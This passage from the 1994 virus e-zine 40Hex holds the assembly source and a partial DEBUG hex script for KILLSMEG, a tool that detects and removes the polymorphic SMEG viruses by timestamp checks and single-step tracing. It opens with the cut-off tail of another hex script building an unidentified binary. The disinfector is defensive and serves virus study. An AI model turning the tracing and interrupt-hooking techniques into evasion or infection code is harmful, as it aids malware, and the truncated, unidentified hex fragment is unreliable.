E 0980  E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B
E 0990  00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3
E 09A0  48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25
E 09B0  03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B
E 09C0  5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00
E 09D0  76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B
E 09E0  DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03
E 09F0  C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75
E 0A00  1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4
E 0A10  74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4
E 0A20  C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C
E 0A30  F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46
E 0A40  1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33
E 0A50  01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A
E 0A60  D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0
E 0A70  C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C
E 0A80  06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF
E 0A90  D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01
E 0AA0  C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75
E 0AB0  F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6
E 0AC0  75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC
E 0AD0  D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6
E 0AE0  24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8
E 0AF0  E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83
E 0B00  7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A
E 0B10  24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0
E 0B20  E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53
E 0B30  00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97
E 0B40  48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00
E 0B50  74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07
E 0B60  3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3
E 0B70  B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1
E 0B80  89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B
E 0B90  C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0
E 0BA0  3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A
E 0BB0  59 5B C3
R CX
0AB3
W
Q
-------------------------------

40Hex Number 14 Volume 5 Issue 1                                      File 002

           KILLSMEG (c) 1994 by Stormbringer of Phalcon/Skism

Note: This is an update to an earlier program, KILLQUEEG, which misfired
      badly when it encountered SMEG.Pathogen, as Pathogen is functionally
      almost IDENTICAL to Queeg and would scan the same in the old program,
      but become a disaster on disinfection.  KILLSMEG will scan and 
      disinfect both correctly, as well as most new variants.  Variants
      that it is not likely to be able to disinfect it will report as
      a new variant of SMEG.


DISCLAIMER:  Author assumes NO liabilities for any damage this software
             might cause.  It is not guaraunteed in any way.  I have done
             my best to make it secure and bug free, but it comes as is.
             Use it at your own risk.

   This program will find and disinfect the two SMEG viruses from specified 
files in current directory.  Before using, boot from a CLEAN-WRITE PROTECTED
disk, and make sure you get this program from a reliable source (source
code should be included).

   I wrote this as there is currently no shareware/freeware program available 
capable of disinfecting this polymorphic virus, or even reliably detecting
it.  It also gives insight into one technique that can be used to detect and/
or disinfect polymorphic viruses.

   I can be reached via IRC or anywhere else if ya look hard enough ;)

Greets go to: Phalcon/Skism, Trident, Trinity, Hermanni, Frisk, Frans, Jenky,
              and all the rest of the virus/anti-virus community.

---------------------------
;KillSMEG (c) 1994 Stormbriner, Phalcon/Skism
;Finds and disinfects the original SMEG viruses (Pathogen and Queeg)

;Author assumes NO responsibility for any damages caused by this program
;or by the SMEG viruses themselves.  This utility is simply made to find it,
;and may or may not work as it is supposed to.  No garuantees.

;First phase is to look for time signatures.  The seconds in any Queeg
;infected file (unless something else has changed timestamp after infection)
;is 56 seconds (1c in bits 0-4 of the time sig).  All following Checks are
;done regardless of the time sig check.  Pathogen marks infections by making
;the high byte in the date > 0c8h

;Second Phase on each file is to Check if it's an .EXE or a .COM.

;Third phase is to trace the program until an invalid condition is found or
;the virus is detected.

;Finally, the user is asked if s/he wishes to disinfect the virus, and
;the file is cleaned.

Strengths:
;       VERY reliable detection rate from my testing.
;
;       Currently only free program capable of disinfecting SMEG viruses, 
;       especially from .EXE files.
;
;       Comes with full source code.

;Weaknesses:
;       Third phase is slow(!!!), and actually executes part of program, 
;       although it is careful not to allow detrimental actions to be taken 
;       (i.e. viruses cannot go memres, etc.)
;
;       Only scans current directory using user filemask.
;
;       Disinfection will leave some garbage at the end of files,
;       as the virus pads its hosts to the paragraph boundaries.
;       This will cause self-checking programs to choke.

.model tiny
.radix 16
.code
        org 100
start:
ReduceMem:
        mov     ah,4a
        mov     bx,(endfinder-start+10f)/10     ;Reduce Memory to that needed
        int     21

        mov     sp,offset TopStack              ;Set STack within memory

        mov     ah,09
        mov     dx,offset IntroMSG
        int     21

        cmp     byte ptr ds:[80],1
        ja      CopyFilename
        mov     ah,09
        mov     dx,offset Instructions
        int     21
        mov     ax,4c00
        int     21
CopyFilename:
        mov     si,82
        mov     di,offset Filenamebuf
    CopyFN:
        lodsb
        cmp     al,0dh
        je      doneCFN
        stosb
        jmp     CopyFN
doneCFN:
        xor     al,al
        stosb

ComSearch:
        mov     ah,4e
        mov     dx,offset FilenameBuf
        mov     cx,07
  FindFirstNext:        
        int     21
        jnc     SearchGood
        jmp     NoMoreCOMS
  SearchGood:
        call    notifycheck

        mov     cx,ds:[96]
        and     cl,1f
        cmp     cl,1c                   ;Check time stamp (56 seconds)
        jne     AfterTimeCheck1
        call    SuspiciousTime
  AfterTimeCheck1:
        mov     cx,ds:[98]
        cmp     ch,0c8
        jb      AfterTimeCheck
        call    PathTime

  AfterTimeCheck:
        mov     ax,3d00
        mov     dx,9e
        int     21
        jnc     ATCGood
        jmp     ErrorOpen
  ATCGood:
        xchg    bx,ax
        mov     dx,offset EXECCheck
        mov     cx,4
        mov     ah,3f
        int     21
        mov     ah,3e
        int     21                              ;Close File
        mov     ax,word ptr ds:[ExecCheck]
        xor     ah,al
        cmp     ah,('M' xor 'Z')                ;Check if it's a com or exec
        je      ISEXE
        push    cs
        pop     es
        mov     di,offset JmpByte
        mov     si,offset ExecCheck             ;Save Jump
        movsb
        movsw
        mov     byte ptr ds:[COMEXE],0
        jmp     short OtherChecks
    ISEXE:        
        mov     byte ptr ds:[COMEXE],1        
  OtherChecks:        
        mov     Infected,0                      ;Initialize to not infected
        mov     TraceDone,0
        call    LoadAndCheckFile                ;Trace file
        cmp     Infected,1
        jne     FindAnotherFile
               
        call    PrintFilename
        cmp     Knownvir,1
        je      DisinfectProg
        mov     ah,09
        mov     dx,offset NewVar
        int     21
        jmp     FindAnotherFile

DisinfectProg:
        mov     ah,09
        mov     dx,offset InfectedMSG
        int     21

        xor     ax,ax
        int     16
        push    ax
        mov     dx,offset DoneChecking
        mov     ah,09
        int     21
        pop     ax
        or      al,20
        cmp     al,'y'
        jne     FindAnotherFile
   Disinfect:
        cmp     comexe,1
        je      DisEXE
        call    DisinfCom
        jmp     short FindAnotherFile
   DisEXE:
        call    DisinfExe
  FindAnotherFile:
        mov     ah,4f
        jmp     FindFirstNext

ErrorOpen:
        call    PRintFilename
        mov     ah,09
        mov     dx,offset OpenError
        int     21
        jmp     FindAnotherFile

NoMoreCOMS:
        mov     ax,4c00
        int     21

SuspiciousTime:        
        call    PrintFilename
        mov     ah,09
        mov     dx,offset TIMEMSG
        int     21
        ret
PathTime:
        call    printfilename
        mov     ah,09
        mov     dx,offset pathtimemsg
        int     21
        ret


NotifyCheck:
        
        mov     dx,offset Checking
        mov     ah,09
        int     21
        call    PrintFileName
        mov     dx,offset DoneChecking
        mov     ah,09
        int     21
        ret


PrintFilename:        
        mov     si,9e
  PrintFN:        
        lodsb
        or      al,al
        jz      doneprintfn
        mov     ah,02
        mov     dl,al
        int     21
        jmp     Printfn
    DonePrintFN:
        ret

LoadAndCheckFile:
        push    cs
        pop     ds
        mov     ax,ds:[2c]
        mov     EnvSeg,ax
        mov     ax,ds
        mov     word ptr [CommandTail+2],ax
        mov     word ptr [FCB1+2],ax
        mov     word ptr [FCB2+2],ax
        mov     ax,offset ParmData
        mov     word ptr [CommandTail],ax
        mov     word ptr [FCB1],ax
        mov     word ptr [FCB2],ax

        mov     ax,3501
        int     21
        mov     IP01,bx
        mov     CS01,es         ;Get int 1 vector

        mov     ax,2501
        mov     dx,offset Int01  ;And set it
        int     21
        mov     ax,ss
        mov     Oldss,ax
        mov     oldsp,sp
        push    cs
        pop     es

     LoadFile:
        mov     ax,4b01
        mov     bx,offset ParmBlock
        mov     dx,9e
        int     21
        jc      ErrorExecute
    SetupExec:        
        push    cs
        pop     ds
        mov     ax,2522
        mov     dx,offset ExecuteTerminated
        int     21                              ;Set Termination address

        mov     ah,62
        int     21
        push    bx bx
        pop     es ds
        
        mov     word ptr cs:[StartDS],bx

        mov     ax,cs
        mov     word ptr ds:[0a],offset ExecuteTerminated
        mov     word ptr ds:[0c],ax                      ;Set Termination Address
        
        cli
        mov     ax,word ptr cs:[NewStack+2]
        mov     ss,ax
        mov     sp,word ptr cs:[NewStack]
        sti

        pushf
        pop     ax
        or      ax,0100
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        mov     si,100
        xor     di,di
        xor     bp,bp
        push    word ptr cs:[NewCS]
        push    word ptr cs:[NewIP]
        push    ax
        popf
        retf

ExecuteTerminated:
        cld
        pushf
        pop     ax
        and     ax,not 100      ;ditch trapflag
        push    ax
        popf
        cli
        mov     ax,cs:[OldSS]
        mov     ss,ax
        mov     sp,cs:[OldSP]
        sti
        lds     dx,dword ptr cs:[IP01]
        mov     ax,2501
        int     21
        push    cs cs
        pop     es ds

        mov     ah,1a
        mov     dx,80                   ;Reset DTA
        int     21
   ErrorExecute:
        ret

OldSS   dw      0
OldSP   dw      0


Int01:
        cld
        push    bp
        mov     bp,sp
        add     bp,2
        push    ax bx cx dx es ds si di
        cmp     cs:TraceDone,1
        je      DOneInt01
        call    CheckESDS   
        call    CheckOPCode
        jne     DoneInt01
        call    InitScanString
        call    ScanMemory   
        call    InitScanString
        
   DoneInt01:
        pop     di si ds es dx cx bx ax
        pop     bp
        iret

InitScanString:
        push    ds si cx
        push    cs
        pop     ds
        mov     si,offset QueegScan1
        mov     cx,EndScan1-QueegScan1
   DecryptString:        
        xor     byte ptr [si],42
        inc     si
        loop    DecryptString
        pop     cx si ds
        ret

TerminateProgram:
        mov     byte ptr cs:[TraceDone],1
        mov     ax,4c00
        int     21

CheckOpCode:
        mov     si,[bp+2]
        mov     ds,si
        mov     si,[bp]
        cmp     byte ptr dS:[si],0cdh
        je      NonvalidOp
        cmp     byte ptr ds:[si],0eah
        je      NonvalidOp
        cmp     byte ptr ds:[si],09ah
        je      NonvalidOp
        cmp     byte ptr ds:[si],0abh
        je      NonvalidOp
        cmp     byte ptr ds:[si],0adh
        je      NonvalidOp
        mov     al,byte ptr ds:[si]
        and     al,0f0
        cmp     al,60
        je      NonvalidOp
        cmp     al,90
        je      NonvalidOp
        cmp     al,0a0
        je      NonvalidOp
        cmp     word ptr ds:[si],00e8
        jne     ExitOpTest
        cmp     word ptr ds:[si+2],5800
  ExitOpTest:
        ret

NonValidOp:
        jmp     TerminatePRogram


CheckESDS:
        mov     ax,[bp+2]
        cmp     ax,word ptr cs:[NewCS]
        je      CSOkay
        jmp     TerminateProgram
CSOkay:
        mov     ax,[bp+2]
        mov     bx,ds
        cmp     bx,ax
        jne     DSNotEqualCS
  CheckES:        
        mov     bx,es
        cmp     bx,ax
        jne     ESNotEqualCS
  ExitSEGCheck:        
        ret
DSNotEqualCS:
        cmp     bx,word ptr cs:[StartDS]   
        je      CheckES
        mov     byte ptr cs:[TraceDone],1
        jmp     TerminateProgram
   ESNotEqualCS:
        cmp     bx,word ptr cs:[StartDS]
        je      ExitSEGCheck
        mov     byte ptr cs:[TraceDone],1
        jmp     TerminateProgram

ScanMemory:
        push    cs
        pop     ds
        mov     si,offset QueegScan1
        mov     di,[bp+2]
        mov     es,di
        mov     di,[bp]
        mov     cx,800
        lodsb        
   SearchForString:        
        repnz   scasb
        jcxz    StringNotFound
        push    ax cx si di 
        mov     cx,0bh
        repz    cmpsb
        jcxz    StringFound
        pop     di si cx ax
        jmp     SearchForString
StringFound:
        pop     di si cx ax
SaveInfo:
        dec     di              ;ES:DI = beginning of virus
        push    es di
        pop     si ds

;ds:si+133       22 c0 75 19 bb 00 01 2e a1
     MakeSureKnowVir:
        cmp     word ptr ds:[si+33],0c022
        jne     NotKnown
        cmp     word ptr ds:[si+39],2e01
        jne     NotKnown
        mov     byte ptr cs:[knownvir],1
        jmp     DoneVarCheck
     NotKnown:
        mov     byte ptr cs:[knownvir],0
     DoneVarCheck:
        mov     bx,si
        sub     bx,100
        
        mov     si,word ptr ds:[bx+13c]
        add     si,bx
        push    cs
        pop     es
        mov     di,offset COMStorage
        movsw
        movsb
        
        mov     si,word ptr ds:[bx+164]
        add     si,bx
        mov     di,offset EXEStack
        movsw
        movsw
        
        mov     si,word ptr ds:[bx+171]
        add     si,bx
        mov     di,offset EXEInstruct
        movsw
        movsw
MarkInfected:
        mov     byte ptr cs:[Infected],1
        call    InitScanString
        jmp     TerminateProgram
StringNotFound:
        ret

OutOfMemory:
        mov     dx,offset OOM
 ErrExit:        
        push    cs
        pop     ds
        mov     ah,9
        int     21
        mov     ax,4c02
        int     21

ErrorClean:
        mov     dx,offset FileError
        mov     ah,09
        push    cs
        pop     ds
        int     21
        jmp     Dealloc

DisinfCom:
        mov     ah,48
        mov     bx,1000
        int     21
        jc      OutOfMemory
        mov     es,ax
        mov     dx,9e
        mov     ax,3d00
        int     21
        jc      ErrorClean
        xchg    bx,ax
        push    es
        pop     ds
        xor     dx,dx
        mov     cx,word ptr cs:[ComJump]
        add     cx,3
        mov     ah,3f
        int     21
        push    ax
        mov     ah,3e
        int     21
        mov     ax,word ptr cs:[COMStorage]
        mov     word ptr ds:[0],ax
        mov     al,byte ptr cs:[ComStorage+2]
        mov     byte ptr ds:[2],al
        push    cs        
        pop     ds
        mov     ah,3c
        xor     cx,cx
        mov     dx,9e
        int     21
        pop     cx        
        jc      ErrorClean
        xchg    bx,ax

        push    es
        pop     ds
        mov     ah,40
        xor     dx,dx
        int     21

        mov     ah,3e
        int     21
  DeAlloc:
        mov     ah,49
        int     21
        push    cs cs
        pop     es ds
        ret

EXEErrorClean:
        mov     dx,offset FileError
        mov     ah,09
        push    cs
        pop     ds
        int     21
        ret


DisinfEXE:
        int     3
        mov     ah,41
        mov     dx,offset TMPFile       
        int     21

        push    cs cs
        pop     es ds
        mov     dx,9e
        mov     ax,3d02        ;open file
        int     21
        jnc     EXECOpenGood
        jmp     EXEErrorClean
     ExecOpenGood:
        xchg    bx,ax
        mov     cx,20
        mov     ah,3f
        mov     dx,offset ExecHeader
        int     21
        mov     di,offset Execheader+0e
        mov     si,offset ExeStack
        movsw
        movsw
        xor     bp,bp
        mov     di,offset execheader+14
        mov     dx,[di+2]               ;DX:AX = new filesize kinda
        mov     ax,[di]
        mov     cl,4
        shl     dx,cl
        adc     bp,0
        add     ax,dx
        adc     bp,0
        mov     dx,bp                   ;DX:AX = filesize w/o header
        mov     cx,word ptr [execheader+08]
        shl     cx,1
        shl     cx,1
        shl     cx,1
        shl     cx,1
        add     ax,cx        
        adc     dx,0                    ;Header now calculated in
        mov     ExeSizeHigh,dx
        mov     ExeSizeLow,ax
        and     ax,1ff                      ;modulo 512
        mov     word ptr [execheader+2],ax
        mov     ax,EXESizeLow
        mov     cx,7
        shl     dx,cl
        mov     word ptr [execheader+4],dx
        mov     cx,9
        add     ax,1ff
        shr     ax,cl
        add     word ptr [execheader+4],ax
        
        mov     si,offset ExeInstruct
        movsw
        movsw

        mov     ax,4200
        xor     cx,cx
        xor     dx,dx
        int     21
        mov     ah,40
        mov     dx,offset execheader
        mov     cx,20
        int     21
        mov     ah,3e
        int     21

        mov     ah,56
        mov     dx,9e
        mov     di,offset TmpFile       ;Rename file
        int     21

        mov     ah,3c
        mov     dx,9e
        xor     cx,cx
        int     21
        mov     Dest,ax
        mov     ax,3d00
        mov     dx,offset TmpFile
        int     21
        mov     Source,ax
        
     CopyLoop:
        mov     cx,400
        cmp     word ptr [EXESizeHIgh],0
        jne     FullSize
        cmp     word ptr [ExeSizeLow],400
        ja      FullSize
        mov     cx,word ptr [ExeSizeLow]
    FullSize:
        sub     word ptr [ExeSizeLow],400
        sbb     word ptr [ExeSizeHigh],0
        mov     ah,3f
        mov     bx,Source
        mov     dx,offset CopyBuffer
        int     21
        
        mov     cx,ax
        mov     ah,40
        mov     bx,Dest
        mov     dx,offset CopyBuffer
        int     21

        cmp     ax,400
        je      CopyLoop

CloseUP:
        mov     ah,3e
        mov     bx,Dest
        int     21
        mov     ah,3e
        mov     bx,Source
        int     21
 DoneDis:
        mov     ah,41
        mov     dx,offset TMPFile       
        int     21
        ret

Source   dw      0
Dest    dw      0
OldInt01:
        IP01    dw      0
        CS01    dw      0

TraceDone       db      0
StartDS         dw      0


ParmBlock:
   EnvSeg       dw      0
   CommandTail  dd      0
   FCB1         dd      0
   FCB2         dd      0
   NewStack     dd      0
   NewIP        dw      0
   NEWCS        dw      0

Tmpfile         db      'KQTMP',0
NewVar          db      ' - New Variant of SMEG!',0a,0dh,24
FileError       db      'Sorry, File Error.',07,0a,0dh,24
OOM             db      'Sorry, Out Of Memory',07,0a,0dh,24
Checking        db      'Checking 



OpenError       db      ' - Error Opening.'
DoneChecking    db      0a,0dh,24
TimeMSG         db      ' - Time stamp is suspicious of SMEG.Queeg signature.',0a,0dh,24
pathtimemsg     db      ' - Time stamp is suspicious of SMEG.Pathogen signature.',0a,0dh,24
InfectedMSG     db      ' - INFECTED WITH SMEG!',0a,0dh
                db      'Disinfect (y/N)?',7,24
IntroMSG        db      0a,0dh,'KillSMEG (c) 1994 Stormbringer, Phalcon/Skism.',0a,0dh
                db      'Finds and disinfects the 2 known SMEG viruses in the current directory.',0a,0dh,24
                
Instructions:                
                db      'Usage :    KILLSMEG Filemask (COM once, then EXE once is recommended)',0a,0dh
                db      'Example:   KILLSMEG *.COM',0a,0dh,24

QueegScan1:
db 0E8 xor 42, 00 xor 42, 00 xor 42, 58 xor 42, 0FE xor 42, 0CC xor 42
db 0B1 xor 42, 04 xor 42, 0D3 xor 42, 0E8 xor 42, 08C xor 42, 0CBh xor 42      ;Initializing Code
EndScan1:
;QueegScan2:
;db 0B8, 0EF, 18, 0CDh, 21, 3Dh, 10, 0E7, 75, 01, 0C3, 0E8    ;Installation Check


ParmData        db      40 dup(0)
knownvir        db      0
Jmpbyte         db      0
COMJump         db      0,0

Infected        db      0
COMEXE          db      0                       ;0 for COM, 1 for EXE
EXECCheck       dw      0,0

COMStorage      db      0,0,0
EXEStack        dd      0
EXEInstruct     dd      0

;0f9d-SP  0f9b-SS  0fa0-IP:CS
ExeSizeLow      dw      0
EXESizeHigh     dw      0


Filenamebuf     db      80d dup (?)
ExecHeader      db      20 dup(?)
CopyBuffer      db      400 dup(?)
StackBuffer db  1000 dup(?)
TopStack:

endfinder:
end start
---------------------------
N KILLSMEG.COM
E 0100 B4 4A BB CC 01 CD 21 BC C0 1C B4 09 BA 0C 07 CD 
E 0110 21 80 3E 80 00 01 77 0C B4 09 BA 88 07 CD 21 B8 
E 0120 00 4C CD 21 BE 82 00 BF 50 08 AC 3C 0D 74 03 AA 
E 0130 EB F8 32 C0 AA B4 4E BA 50 08 B9 07 00 CD 21 73 
E 0140 03 E9 BE 00 E8 D6 00 8B 0E 96 00 80 E1 1F 80 F9 
E 0150 1C 75 03 E8 B1 00 8B 0E 98 00 80 FD C8 72 03 E8 
E 0160 B0 00 B8 00 3D BA 9E 00 CD 21 73 03 E9 87 00 93 
E 0170 BA 3D 08 B9 04 00 B4 3F CD 21 B4 3E CD 21 A1 3D 
E 0180 08 32 E0 80 FC 17 74 11 0E 07 BF 38 08 BE 3D 08 
E 0190 A4 A5 C6 06 3C 08 00 EB 05 C6 06 3C 08 01 C6 06 
E 01A0 3B 08 00 90 C6 06 EC 05 00 90 E8 93 00 80 3E 3B 
E 01B0 08 01 75 3D E8 78 00 80 3E 37 08 01 74 0A B4 09 
E 01C0 BA 0B 06 CD 21 EB 2A 90 B4 09 BA E2 06 CD 21 33 
E 01D0 C0 CD 16 50 BA 6E 06 B4 09 CD 21 58 0C 20 3C 79 
E 01E0 75 0F 80 3E 3C 08 01 74 05 E8 85 02 EB 03 E8 E7 
E 01F0 02 B4 4F E9 47 FF E8 36 00 B4 09 BA 5D 06 CD 21 
E 0200 EB EF B8 00 4C CD 21 E8 25 00 B4 09 BA 71 06 CD 
E 0210 21 C3 E8 1A 00 B4 09 BA A8 06 CD 21 C3 BA 53 06 
E 0220 B4 09 CD 21 E8 08 00 BA 6E 06 B4 09 CD 21 C3 BE 
E 0230 9E 00 AC 0A C0 74 08 B4 02 8A D0 CD 21 EB F3 C3 
E 0240 0E 1F A1 2C 00 A3 EF 05 8C D8 A3 F3 05 A3 F7 05 
E 0250 A3 FB 05 B8 F7 07 A3 F1 05 A3 F5 05 A3 F9 05 B8 
E 0260 01 35 CD 21 89 1E E8 05 8C 06 EA 05 B8 01 25 BA 
E 0270 09 03 CD 21 8C D0 A3 05 03 89 26 07 03 0E 07 B8 
E 0280 01 4B BB EF 05 BA 9E 00 CD 21 72 78 0E 1F B8 22 
E 0290 25 BA DA 02 CD 21 B4 62 CD 21 53 53 07 1F 2E 89 
E 02A0 1E ED 05 8C C8 C7 06 0A 00 DA 02 A3 0C 00 FA 2E 
E 02B0 A1 FF 05 8E D0 2E 8B 26 FD 05 FB 9C 58 0D 00 01 
E 02C0 33 DB 33 C9 33 D2 BE 00 01 33 FF 33 ED 2E FF 36 
E 02D0 03 06 2E FF 36 01 06 50 9D CB FC 9C 58 25 FF FE 
E 02E0 50 9D FA 2E A1 05 03 8E D0 2E 8B 26 07 03 FB 2E 
E 02F0 C5 16 E8 05 B8 01 25 CD 21 0E 0E 07 1F B4 1A BA 
E 0300 80 00 CD 21 C3 00 00 00 00 FC 55 8B EC 83 C5 02 
E 0310 50 53 51 52 06 1E 56 57 2E 80 3E EC 05 01 74 11 
E 0320 E8 77 00 E8 35 00 75 09 E8 10 00 E8 A7 00 E8 0A 
E 0330 00 5F 5E 1F 07 5A 59 5B 58 5D CF 1E 56 51 0E 1F 
E 0340 BE EB 07 B9 0C 00 80 34 42 46 E2 FA 59 5E 1F C3 
E 0350 2E C6 06 EC 05 01 B8 00 4C CD 21 8B 76 02 8E DE 
E 0360 8B 76 00 80 3C CD 74 30 80 3C EA 74 2B 80 3C 9A 
E 0370 74 26 80 3C AB 74 21 80 3C AD 74 1C 8A 04 24 F0 
E 0380 3C 60 74 14 3C 90 74 10 3C A0 74 0C 81 3C E8 00 
E 0390 75 05 81 7C 02 00 58 C3 EB B6 8B 46 02 2E 3B 06 
E 03A0 03 06 74 02 EB AA 8B 46 02 8C DB 3B D8 75 07 8C 
E 03B0 C3 3B D8 75 10 C3 2E 3B 1E ED 05 74 F2 2E C6 06 
E 03C0 EC 05 01 EB 8B 2E 3B 1E ED 05 74 E9 2E C6 06 EC 
E 03D0 05 01 E9 7B FF 0E 1F BE EB 07 8B 7E 02 8E C7 8B 
E 03E0 7E 00 B9 00 08 AC F2 AE E3 6C 50 51 56 57 B9 0B 
E 03F0 00 F3 A6 E3 06 5F 5E 59 58 EB EB 5F 5E 59 58 4F 
E 0400 06 57 5E 1F 81 7C 33 22 C0 75 10 81 7C 39 01 2E 
E 0410 75 09 2E C6 06 37 08 01 EB 07 90 2E C6 06 37 08 
E 0420 00 8B DE 81 EB 00 01 8B B7 3C 01 03 F3 0E 07 BF 
E 0430 41 08 A5 A4 8B B7 64 01 03 F3 BF 44 08 A5 A5 8B 
E 0440 B7 71 01 03 F3 BF 48 08 A5 A5 2E C6 06 3B 08 01 
E 0450 E8 E8 FE E9 FA FE C3 BA 3B 06 0E 1F B4 09 CD 21 
E 0460 B8 02 4C CD 21 BA 25 06 B4 09 0E 1F CD 21 EB 55 
E 0470 90 B4 48 BB 00 10 CD 21 72 DD 8E C0 BA 9E 00 B8 
E 0480 00 3D CD 21 72 DF 93 06 1F 33 D2 2E 8B 0E 39 08 
E 0490 83 C1 03 B4 3F CD 21 50 B4 3E CD 21 2E A1 41 08 
E 04A0 A3 00 00 2E A0 43 08 A2 02 00 0E 1F B4 3C 33 C9 
E 04B0 BA 9E 00 CD 21 59 72 AD 93 06 1F B4 40 33 D2 CD 
E 04C0 21 B4 3E CD 21 B4 49 CD 21 0E 0E 07 1F C3 BA 25 
E 04D0 06 B4 09 0E 1F CD 21 C3 CC B4 41 BA 05 06 CD 21 
E 04E0 0E 0E 07 1F BA 9E 00 B8 02 3D CD 21 73 02 EB DE 
E 04F0 93 B9 20 00 B4 3F BA A0 08 CD 21 BF AE 08 BE 44 
E 0500 08 A5 A5 33 ED BF B4 08 8B 55 02 8B 05 B1 04 D3 
E 0510 E2 83 D5 00 03 C2 83 D5 00 8B D5 8B 0E A8 08 D1 
E 0520 E1 D1 E1 D1 E1 D1 E1 03 C1 83 D2 00 89 16 4E 08 
E 0530 A3 4C 08 25 FF 01 A3 A2 08 A1 4C 08 B9 07 00 D3 
E 0540 E2 89 16 A4 08 B9 09 00 05 FF 01 D3 E8 01 06 A4 
E 0550 08 BE 48 08 A5 A5 B8 00 42 33 C9 33 D2 CD 21 B4 
E 0560 40 BA A0 08 B9 20 00 CD 21 B4 3E CD 21 B4 56 BA 
E 0570 9E 00 BF 05 06 CD 21 B4 3C BA 9E 00 33 C9 CD 21 
E 0580 A3 E6 05 B8 00 3D BA 05 06 CD 21 A3 E4 05 B9 00 
E 0590 04 83 3E 4E 08 00 75 0C 81 3E 4C 08 00 04 77 04 
E 05A0 8B 0E 4C 08 81 2E 4C 08 00 04 83 1E 4E 08 00 B4 
E 05B0 3F 8B 1E E4 05 BA C0 08 CD 21 8B C8 B4 40 8B 1E 
E 05C0 E6 05 BA C0 08 CD 21 3D 00 04 74 C2 B4 3E 8B 1E 
E 05D0 E6 05 CD 21 B4 3E 8B 1E E4 05 CD 21 B4 41 BA 05 
E 05E0 06 CD 21 C3 00 00 00 00 00 00 00 00 00 00 00 00 
E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0600 00 00 00 00 00 4B 51 54 4D 50 00 20 2D 20 4E 65 
E 0610 77 20 56 61 72 69 61 6E 74 20 6F 66 20 53 4D 45 
E 0620 47 21 0A 0D 24 53 6F 72 72 79 2C 20 46 69 6C 65 
E 0630 20 45 72 72 6F 72 2E 07 0A 0D 24 53 6F 72 72 79 
E 0640 2C 20 4F 75 74 20 4F 66 20 4D 65 6D 6F 72 79 07 
E 0650 0A 0D 24 43 68 65 63 6B 69 6E 67 20 24 20 2D 20 
E 0660 45 72 72 6F 72 20 4F 70 65 6E 69 6E 67 2E 0A 0D 
E 0670 24 20 2D 20 54 69 6D 65 20 73 74 61 6D 70 20 69 
E 0680 73 20 73 75 73 70 69 63 69 6F 75 73 20 6F 66 20 
E 0690 53 4D 45 47 2E 51 75 65 65 67 20 73 69 67 6E 61 
E 06A0 74 75 72 65 2E 0A 0D 24 20 2D 20 54 69 6D 65 20 
E 06B0 73 74 61 6D 70 20 69 73 20 73 75 73 70 69 63 69 
E 06C0 6F 75 73 20 6F 66 20 53 4D 45 47 2E 50 61 74 68 
E 06D0 6F 67 65 6E 20 73 69 67 6E 61 74 75 72 65 2E 0A 
E 06E0 0D 24 20 2D 20 49 4E 46 45 43 54 45 44 20 57 49 
E 06F0 54 48 20 53 4D 45 47 21 0A 0D 44 69 73 69 6E 66 
E 0700 65 63 74 20 28 79 2F 4E 29 3F 07 24 0A 0D 4B 69 
E 0710 6C 6C 53 4D 45 47 20 28 63 29 20 31 39 39 34 20 
E 0720 53 74 6F 72 6D 62 72 69 6E 67 65 72 2C 20 50 68 
E 0730 61 6C 63 6F 6E 2F 53 6B 69 73 6D 2E 0A 0D 46 69 
E 0740 6E 64 73 20 61 6E 64 20 64 69 73 69 6E 66 65 63 
E 0750 74 73 20 74 68 65 20 32 20 6B 6E 6F 77 6E 20 53 
E 0760 4D 45 47 20 76 69 72 75 73 65 73 20 69 6E 20 74 
E 0770 68 65 20 63 75 72 72 65 6E 74 20 64 69 72 65 63 
E 0780 74 6F 72 79 2E 0A 0D 24 55 73 61 67 65 20 3A 20 
E 0790 20 20 20 4B 49 4C 4C 53 4D 45 47 20 46 69 6C 65 
E 07A0 6D 61 73 6B 20 28 43 4F 4D 20 6F 6E 63 65 2C 20 
E 07B0 74 68 65 6E 20 45 58 45 20 6F 6E 63 65 20 69 73 
